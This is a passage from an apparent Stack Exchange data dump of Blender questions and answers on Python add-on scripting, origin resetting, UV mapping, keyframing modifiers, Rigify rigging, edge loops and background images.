scenes&#xA;    else: return False&#xA;&#xA;class MATERIALS_Export(bpy.types.Operator):&#xA;    '''Set an operator'''&#xA;    bl_idname = &quot;scene.select&quot;&#xA;    bl_label = &quot;Select a scene from list&quot;&#xA;&#xA;    #available_scenes_enum = bpy.props.EnumProperty(items = [('one', 'eins', 'un'), ('two', 'zwei', 'deux'), ('three', 'drei', 'trois')], name= &quot;Scenes&quot;) #This works fine&#xA;    available_scenes_enum = bpy.props.EnumProperty(items = available_scenes(self) , name=&quot;Enum&quot;) #This doesn't work&#xA;&#xA;    def execute(self, context):&#xA;        available_scenes(self)&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        wm = context.window_manager&#xA;        return wm.invoke_props_dialog(self)&#xA;&#xA;&#xA;class MATERIALS_ExportPanel(bpy.types.Panel):&#xA;    bl_label = &quot;Materials&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    bl_category = &quot;Open_Scene&quot;&#xA;&#xA;    def draw(self, context):&#xA;        self.layout.operator(&quot;scene.select&quot;, text = &quot;Select a scene from list&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4988" LastEditorUserId="4988" LastEditDate="2014-07-23T10:50:58.603" LastActivityDate="2015-11-17T06:22:31.900" Title="Is it possible to report an error without self?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14291" PostTypeId="2" ParentId="13851" CreationDate="2014-07-23T10:26:51.967" Score="1" Body="&lt;p&gt;&lt;strong&gt;It's fixed on Blender 2.71 for windows.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(As part of our network is still using XP we are stuck on 2.70a, and I didn't had the chance to test 2.71)&lt;/p&gt;&#xA;" OwnerUserId="4925" LastActivityDate="2014-07-23T10:26:51.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14293" PostTypeId="1" CreationDate="2014-07-23T13:32:47.167" Score="2" ViewCount="1913" Body="&lt;p&gt;I need to bake a normal map from a high-poly model to a low poly, and I wanted to know, what should I use, Cycles or the standard Blender render?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it should be the same, more or less? If I bake a normal map from Blender render, it will work in Cycles too, right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I can't find a tutorial or an explanation on how to bake a normal map in Cycles, does anyone know one? I did find one on Blender render.&lt;/p&gt;&#xA;" OwnerUserId="5236" LastEditorUserId="2217" LastEditDate="2014-07-29T00:23:27.073" LastActivityDate="2014-07-29T00:23:27.073" Title="Baking a normal map, Cycles or Blender render?" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14294" PostTypeId="1" AcceptedAnswerId="14296" CreationDate="2014-07-23T15:36:08.767" Score="115" ViewCount="281560" Body="&lt;p&gt;So, I'm working creating a lamp... yes, newbie here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After modeling for a bit, I noticed that my point of origin was no longer the center of my object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jqq0M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to I reset an object origin point to the center of it's geometry?&lt;/p&gt;&#xA;" OwnerUserId="1772" LastActivityDate="2021-03-18T05:02:14.677" Title="How to recenter an object's origin?" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="47" ContentLicense="CC BY-SA 3.0" />
  <row Id="14295" PostTypeId="1" CreationDate="2014-07-23T15:59:15.017" Score="4" ViewCount="142" Body="&lt;p&gt;I am learning UV mapping, trying to map an image on one side of a cube but it does not spread properly on the whole face.. Here is what I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ilfXV.png&quot; alt=&quot;The final result I get&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/csvht.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this can be done simply by applying materials to the specified sides but I want to apply different images in future. Can anyone tell me what is going on? I want to color the central part only, not the boundary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1407" LastActivityDate="2014-07-23T20:21:24.720" Title="Image not spreading on the whole face" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14296" PostTypeId="2" ParentId="14294" CreationDate="2014-07-23T16:09:11.693" Score="136" Body="&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; (perhaps the longest shortcut in Blender) and select &lt;em&gt;Origin to Geometry&lt;/em&gt;. Or, instead, open the Toolshelf by pressing &lt;kbd&gt;T&lt;/kbd&gt; and press the &lt;em&gt;Set Origin&lt;/em&gt; button in the &lt;em&gt;Tools&lt;/em&gt; tab, subsection &lt;em&gt;Edit&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on how you imagine the 'Center' of your object, you might instead want to choose &lt;em&gt;Origin to Center of Mass&lt;/em&gt;. The difference is that it calculates the center point based on the volume of the mesh, rather than the average location of vertices as &lt;em&gt;Origin to Geometry&lt;/em&gt; does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visually, the difference is this (blue dot is the new origin point):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jKwsx.png&quot; alt=&quot;to Geometry vs to Center of Mass&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; &lt;em&gt;for Blender 2.8&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press the &lt;em&gt;Object&lt;/em&gt; button at the bottom of the 3D view and see the &lt;em&gt;Set Origin...&lt;/em&gt; sub-menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;       &lt;img src=&quot;https://i.stack.imgur.com/KdaLA.png&quot; width=&quot;500&quot;&gt;             &#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here you can find both the &lt;em&gt;Origin to Geometry&lt;/em&gt; and two similar &lt;em&gt;Origin to Center of Mass&lt;/em&gt; options.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="40350" LastEditDate="2019-08-27T14:38:43.540" LastActivityDate="2019-08-27T14:38:43.540" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="14298" PostTypeId="1" AcceptedAnswerId="14314" CreationDate="2014-07-23T16:45:24.467" Score="2" ViewCount="640" Body="&lt;p&gt;I want to write a script that changes the array modifier, and then inserts a keyframe for the new value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got it working, but it only does it on the first object.&#xA;Unselecting all the objects, and then only the one I want to set it to also doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling some more I found I should use obj.keyframe_insert, but what do I set the data_path to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of what I want to do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.modifiers['Array'].count = random.randint(1, 5)&#xA;obj.keyframe_insert(data_path=???) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried this first.&#xA;    bpy.ops.anim.keyframe_insert_menu(type='Available')&lt;br&gt;&#xA;That works, but only sets it for the first object, the one that was selected; and it was iffy to start off with. I had to manually first set a keyframe, else it said 'Available' was not found.&lt;/p&gt;&#xA;" OwnerUserId="5323" LastEditorUserId="2217" LastEditDate="2014-07-23T17:04:09.113" LastActivityDate="2014-07-24T07:45:36.020" Title="Adding keyframes to array modifer" Tags="&lt;python&gt;&lt;modifiers&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14299" PostTypeId="2" ParentId="14295" CreationDate="2014-07-23T20:21:24.720" Score="3" Body="&lt;p&gt;Make sure the &lt;em&gt;limit method&lt;/em&gt; on the bevel modifier is set to &lt;em&gt;angle&lt;/em&gt;, so that only the edges between faces with very different normals are beveled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X2teY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the limit method set to &lt;em&gt;none&lt;/em&gt;, the edges on the flat parts of the cube will be beveled (which creates extra geometry without changing the shape), and the UVs are not interpolated correctly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CvZUu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-23T20:21:24.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14301" PostTypeId="1" CreationDate="2014-07-23T23:04:27.903" Score="1" ViewCount="1176" Body="&lt;p&gt;More specifically - how to invoke a &lt;code&gt;invoke_props_dialog&lt;/code&gt; from a &lt;code&gt;bpy.types.Menu&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dialog invokes properly from Search, but not from a menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an operator that invokes a dialog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class MyDialog(bpy.types.Operator):&#xA;&#xA;    bl_idname = &quot;tools.mydialog&quot;&#xA;    bl_label = &quot;My Dialog&quot;&#xA;&#xA;    string_prop = bpy.props.StringProperty(name=&quot;String Prop&quot;)&#xA;&#xA;    def invoke(self, context, event):&#xA;        return context.window_manager.invoke_props_dialog(self)&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;bpy.utils.register_class(MyDialog)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="1363" LastEditDate="2014-09-22T18:48:21.917" LastActivityDate="2020-08-12T02:44:09.533" Title="How to invoke a dialog from a menu?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14302" PostTypeId="1" CreationDate="2014-07-24T01:02:39.827" Score="5" ViewCount="1859" Body="&lt;p&gt;The diagram is of a river bank with a formula that can be adjusted with sliders to calculate the river's area, steepness, vegetation population, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, is it possible to do this in blender somehow, either with the game engine or drivers, so that sliders could change not only numerals but also the look of the river diagram?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have pretty much zero experience with the game engine (but years with anything else to do with Blender) and before trying anything out I wanted to know if it was possible to do something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also seen this recent link to the game engine working on browsers and was wondering if this could work for this too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blendernation.com/2014/07/11/blend4web-an-interactive-3d-viewer/&quot; rel=&quot;nofollow&quot;&gt;http://www.blendernation.com/2014/07/11/blend4web-an-interactive-3d-viewer/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1500" LastEditorUserId="2952" LastEditDate="2015-11-19T01:48:44.650" LastActivityDate="2018-01-05T10:20:55.527" Title="HTML + Blender game engine?" Tags="&lt;game-engine&gt;&lt;export&gt;&lt;blend4web&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14304" PostTypeId="1" CreationDate="2014-07-24T01:54:24.320" Score="2" ViewCount="1426" Body="&lt;p&gt;I'm using Rigify to make my character poses and animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason when ever I pull my forearm over my upper arm.&#xA;It begins twisting from the point where my characters elbow should be. Why is it doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's totally fine until I pull it over my upper arm. Kind of annoying. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a picture of how it looks messed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l0fwf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I also noticed that when ever I move my Elbow IK it tends to rotate my mesh a bit.&#xA;So I'm getting the idea that it has something to do with rotating but I don't know how to come about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how it looks with me moving the Elbow IK + A closer screen shot.&#xA;I also noticed that only my arm's bone connected to the Elbow point is moving. Hmm. Any help would be appreciated.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TX97r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5279" LastActivityDate="2015-03-21T05:37:29.253" Title="Rigify Mesh twisting weird at elbow of arm" Tags="&lt;mesh&gt;&lt;rigify&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14305" PostTypeId="2" ParentId="14304" CreationDate="2014-07-24T01:58:58.653" Score="2" Body="&lt;p&gt;When you move the arm, you have to also move the elbow IK bone. The elbow IK works to compensate for the twisting that happens from the IK movements you make. This takes some getting used to. I had to work for some time on my elbow IKs before I felt I had a decent understanding of them and I still am not 100% on it. &lt;/p&gt;&#xA;" OwnerUserId="5177" LastActivityDate="2014-07-24T01:58:58.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14306" PostTypeId="1" AcceptedAnswerId="14307" CreationDate="2014-07-24T02:08:51.457" Score="11" ViewCount="52252" Body="&lt;p&gt;I'm following this tutorial to get started with blender: &lt;a href=&quot;https://www.youtube.com/watch?v=Vp1sH6Cm1ww&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=Vp1sH6Cm1ww&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try selecting an edge or a face, the program does not let me. However, I can select vertices, and I can, by result, select edges and face by Ctrl+clicking other vertices, but this is very inefficient and annoying. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know a solution?&lt;/p&gt;&#xA;" OwnerUserId="5328" LastEditorUserId="3401" LastEditDate="2015-12-22T18:14:38.000" LastActivityDate="2015-12-22T18:14:38.000" Title="I can't seem to select faces and edges?" Tags="&lt;selection-tools&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14307" PostTypeId="2" ParentId="14306" CreationDate="2014-07-24T02:16:48.607" Score="20" Body="&lt;p&gt;In edit mode you can change selection modes by pressing &lt;kbd&gt;ctrl&lt;/kbd&gt; &lt;kbd&gt;tab&lt;/kbd&gt;. Or just clicking this button in the 3D view header.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uHa4l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;To select edges you want &lt;em&gt;edge&lt;/em&gt; select mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use more then one selection mode at a time, &lt;kbd&gt;shift&lt;/kbd&gt; &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt; on ether the buttons in the 3D header or the &lt;kbd&gt;ctrl&lt;/kbd&gt; &lt;kbd&gt;tab&lt;/kbd&gt; menu.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.450" LastActivityDate="2014-07-24T03:02:46.877" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14308" PostTypeId="1" AcceptedAnswerId="14309" CreationDate="2014-07-24T02:46:19.290" Score="11" ViewCount="32003" Body="&lt;p&gt;I am trying to manipulate a cube into a car; and I was able to make edge loops by pressing  &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;. However, when I am trying to make a wheel well, I want to make new subdivision loops to do that; yet the old ones are getting in they way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I remove subdivision loops so that I can manipulate my object without old loops effecting the new ones? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or basically, the opposite of what &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; does?&lt;/p&gt;&#xA;" OwnerUserId="5328" LastEditorUserId="29" LastEditDate="2014-07-24T06:04:15.620" LastActivityDate="2019-11-07T09:48:46.157" Title="How do I remove subdivision loops?" Tags="&lt;selection-tools&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14309" PostTypeId="2" ParentId="14308" CreationDate="2014-07-24T02:47:16.043" Score="13" Body="&lt;p&gt;You can select them with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; (or &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; to keep the existing selection), and then delete them with &lt;kbd&gt;Delete&lt;/kbd&gt; &lt;em&gt;&gt; Edge loops&lt;/em&gt;, or &lt;kbd&gt;Delete&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; if you want to take advantage of menu hotkeys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i9LzW.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have many loops which you want to select, but don't want to click on each one, you can use &lt;em&gt;Multi select loops&lt;/em&gt;, either from &lt;em&gt;3D view &gt; Header &gt; Select &gt; Edge loops&lt;/em&gt;, or &lt;kbd&gt;Space&lt;/kbd&gt;&lt;em&gt;&gt; Multi select loops&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-24T02:57:19.900" LastActivityDate="2014-07-24T02:57:19.900" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14311" PostTypeId="1" CreationDate="2014-07-24T03:07:59.703" Score="0" ViewCount="369" Body="&lt;p&gt;I want make actions on key press in UV Editor Blender, how to catch this event?&lt;/p&gt;&#xA;" OwnerUserId="5329" LastEditorUserId="2217" LastEditDate="2014-07-24T14:55:24.197" LastActivityDate="2014-07-24T14:55:24.197" Title="How to catch backslash keypress?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;uv&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-07-24T15:41:37.960" ContentLicense="CC BY-SA 3.0" />
  <row Id="14312" PostTypeId="1" AcceptedAnswerId="14318" CreationDate="2014-07-24T06:13:05.537" Score="4" ViewCount="1360" Body="&lt;p&gt;I'm trying to provide a tool for an artist on my gameDev project.  They should be able to set a bunch of settings in a panel, and then press a button to start an automated export.  I want to give let them set a bunch of boolean values, but I'm having trouble finding a good way to present a lot of booleans in the Blender UI. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VUraZ.png&quot; alt=&quot;UI Mockup:&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to iterate over the values in each list, so having a BoolProperty for every checkbox is not an option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what kind of layout.prop would do this well, or what kind of property data structure to use with it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the UI side, prop_menu_enum() seems like it would be perfect...can I use it as to hold multiple UI checkboxes?  Otherwise I could iterate over whatever kind of list of booleans I end up with and a property for each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the data structure side, I see there is a BoolVectorProperty, but it doesn't seem to hold names for each value.  There's a CollectionProperty, but I'm getting a error &quot;TypeError: CollectionProperty(...): expected an RNA type derived from PropertyGroup, failed with type 'builin_function_or_method'&quot; when I try to register a PropertyGroup that has a CollectionProperty as a member variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I keep getting the feeling that there's some good way to do this that I don't know about (and I know almost nothing about blender programming).  Any recommendations?&lt;/p&gt;&#xA;" OwnerUserId="5331" LastEditorUserId="599" LastEditDate="2014-08-05T22:57:55.333" LastActivityDate="2014-08-05T22:57:55.333" Title="How can I present an array of booleans in a panel?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14313" PostTypeId="2" ParentId="14302" CreationDate="2014-07-24T06:48:59.117" Score="5" Body="&lt;p&gt;According to the &lt;a href=&quot;http://www.blend4web.com/doc/en/about.html#browser-webgl-support&quot; rel=&quot;noreferrer&quot;&gt;documentation&lt;/a&gt; Blend4web uses &lt;a href=&quot;http://www.khronos.org/webgl/&quot; rel=&quot;noreferrer&quot;&gt;WebGL&lt;/a&gt; and supports:&lt;/p&gt;&#xA;&lt;h3&gt;Full Support&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yandex Browser&lt;/li&gt;&#xA;&lt;li&gt;Chrome&lt;/li&gt;&#xA;&lt;li&gt;Firefox&lt;/li&gt;&#xA;&lt;li&gt;Opera&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Experimental Support&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Internet Explorer 11&lt;/li&gt;&#xA;&lt;li&gt;Safari 8&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Mobile Platforms&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Android (on the majority of modern devices)&lt;/li&gt;&#xA;&lt;li&gt;BlackBerry&lt;/li&gt;&#xA;&lt;li&gt;Firefox OS&lt;/li&gt;&#xA;&lt;li&gt;iOS 8&lt;/li&gt;&#xA;&lt;li&gt;Tizen&lt;/li&gt;&#xA;&lt;li&gt;Ubuntu Touch&lt;/li&gt;&#xA;&lt;li&gt;WebOS&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;It looks promising, I would check whether it covers all requirements and give it a try.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-24T06:48:59.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14314" PostTypeId="2" ParentId="14298" CreationDate="2014-07-24T07:38:25.667" Score="3" Body="&lt;p&gt;When using &lt;code&gt;keyframe_insert()&lt;/code&gt; you want to use it on the object that contains the value you wish to keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By &quot;object&quot; I am referring to python objects (as in &quot;object&quot; oriented programming) that are defined in a python class, not the visible 3d objects. In your example the object that has the value to be keyed is the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to keyframe the count value in the array modifier you want to use -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.modifiers['Array'].keyframe_insert('count')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might also think of it as the class containing the property to be keyframed is the one that gets told to insert the keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned by pink vertex you can also go through the parent by using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.keyframe_insert('modifiers[&quot;Array&quot;].count')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the quotes &quot; must be inside ' - swapping them around doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2014-07-24T07:45:36.020" LastActivityDate="2014-07-24T07:45:36.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14315" PostTypeId="1" CreationDate="2014-07-24T08:02:52.950" Score="20" ViewCount="94328" Body="&lt;p&gt;I try to set up an image as background for a basic blender tutorial,&#xA;but it isn't visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the image I try to have as background:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qfNuY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5332" LastEditorUserId="2217" LastEditDate="2018-11-03T01:15:11.370" LastActivityDate="2020-12-01T17:53:45.187" Title="I can't see my background image in the 3D view" Tags="&lt;3d-view&gt;&lt;image&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="14316" PostTypeId="2" ParentId="14315" CreationDate="2014-07-24T08:08:47.353" Score="36" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;#Background images will only be displayed in:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Camera Prespective view (&lt;kbd&gt;Numpad 0&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Any of the &lt;strong&gt;preset&lt;/strong&gt; Orthographic views:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Front/Back (&lt;kbd&gt;Numpad 1&lt;/kbd&gt; or &lt;kbd&gt;Crl&lt;/kbd&gt; &lt;kbd&gt;Numpad 1&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Right /Left (&lt;kbd&gt;Numpad 3&lt;/kbd&gt; or &lt;kbd&gt;Crl&lt;/kbd&gt; &lt;kbd&gt;Numpad 3&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Top/Bottom (&lt;kbd&gt;Numpad 7&lt;/kbd&gt; or &lt;kbd&gt;Crl&lt;/kbd&gt; &lt;kbd&gt;Numpad 7&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You're in perspective mode instead of &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/3dview/navigate/projections.html?#perspective-orthographic&quot; rel=&quot;nofollow noreferrer&quot;&gt;orthographic mode&lt;/a&gt;  (see the upper left hand corner, it has the abbreviation &amp;quot;persp&amp;quot;). Toggle into orthographic view by pressing &lt;kbd&gt;numpad 5&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Also, the view information at the top left shows you are in right view, and the background image settings at bottom right show that the image is set to appear only in left view. For that, hit &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;numpad 3&lt;/kbd&gt; to go to left view or change the background image axis to &lt;em&gt;Right&lt;/em&gt; to make the background image appear in right view.&lt;/p&gt;&#xA;&lt;p&gt;The image used must be in &lt;a href=&quot;https://docs.blender.org/manual/en/latest/files/media/image_formats.html#supported-graphics-formats&quot; rel=&quot;nofollow noreferrer&quot;&gt;a format that Blender supports&lt;/a&gt;. For example, a .gif file will not be displayed.&lt;/p&gt;&#xA;" OwnerUserId="4979" LastEditorUserId="15924" LastEditDate="2020-12-01T17:53:45.187" LastActivityDate="2020-12-01T17:53:45.187" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="14317" PostTypeId="2" ParentId="14311" CreationDate="2014-07-24T08:16:40.923" Score="1" Body="&lt;p&gt;There is an &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/info_tutorial_addon.html#keymap&quot; rel=&quot;nofollow&quot;&gt;addon tutorial&lt;/a&gt; that covers keymaps.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# store keymaps here to access after registration&#xA;addon_keymaps = []&#xA;&#xA;def register():&#xA;&#xA;    # handle the keymap&#xA;    wm = bpy.context.window_manager&#xA;    km = wm.keyconfigs.addon.keymaps.new(name='Object Mode', space_type='EMPTY')&#xA;&#xA;    kmi = km.keymap_items.new(ObjectCursorArray.bl_idname, 'SPACE', 'PRESS', ctrl=True, shift=True)&#xA;    kmi.properties.total = 4&#xA;&#xA;    addon_keymaps.append((km, kmi))&#xA;&#xA;&#xA;def unregister():&#xA;&#xA;    # handle the keymap&#xA;    for km, kmi in addon_keymaps:&#xA;        km.keymap_items.remove(kmi)&#xA;    addon_keymaps.clear()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are several addons that can be viewed as examples as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a 